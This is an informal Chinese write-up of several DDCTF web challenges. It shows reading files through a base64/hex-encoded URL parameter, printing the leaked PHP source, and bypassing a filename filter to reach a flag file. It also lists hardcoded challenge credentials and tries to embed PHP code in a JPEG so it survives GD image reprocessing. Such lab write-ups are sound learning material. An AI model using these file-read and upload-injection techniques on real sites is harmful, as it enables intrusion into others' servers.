友好的第一题:提示比较多。。一点一点试就好啦。向是个杂项题= =醉了 打开网页
发现URL是base64拿去解密发现一次不行得多试一次。
NjY2QzYxNjcyRTZBNzA2Nw==
两次解密后发现是16进制
666C61672E6A7067
拿去做ascii
flag.jpg
跟网站回显的一样说明可以通过构造URL去访问文件尝试一下。
把index.php进行ascii再进行两次加密
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
发现果然可以访问把文件的内容也copy出来了
data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
后面又是base64拿去解密
'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'';
$file = str_replace("config","!", $file);
echo $file.'';
$txt = base64_encode(file_get_contents($file));
echo "";
/*
* Can you find the flag file?
*
*/
?>
可以查看index.php的文件内容
发现提示
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
文章的时间和提示时间不对应。通过找这个人的其他博客发现
时间对应的
上面的文件为practice.txt.swp
不说别的先构造;其实也不用构造
能直接访问回显出来
下面是要构造这个f1ag!ddctf.php
就要绕过这两个过滤
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'';
$file = str_replace("config","!", $file);
echo $file.'';
尝试构造f1agconfigddctf.php这样config就能替换成!
因为file_get_contents只会读取文件如果读取变量就会为空
所以我们提交向f1ag!ddctf.php提交一个uid= 就可以了
发现js存在反序列化漏洞
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
user:dd@ctf
pass:DD@ctf#000
打开网页是个上传的网站=。=猜测涉及文件上传,二话不说先传。
发现传了个git图,他已经变了,已经不是那个git图了变成了个= =单纯的jpg。。。
提示说让文件中包含指定字符串phpinfo()。这不是自寻死路到处插入phpinfo。。发现都被过滤了。。去查文件上传的内容
最后在博客中找到了这个项目。就是jpg文件中有个Start of Scan区域
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
尝试在图片棕色区域写入PHPINFO()
用Winhex工具去搜索FFDA
下面这块应该就是尝试写入phpinfo
没有成功= =(:з」∠)
重新构造下检查下问题= =发现必须得先上传个正常文件。然后用他过滤完转存的图进行修改就可以达到目的了
不写了_(:з」∠)_自闭了被ban了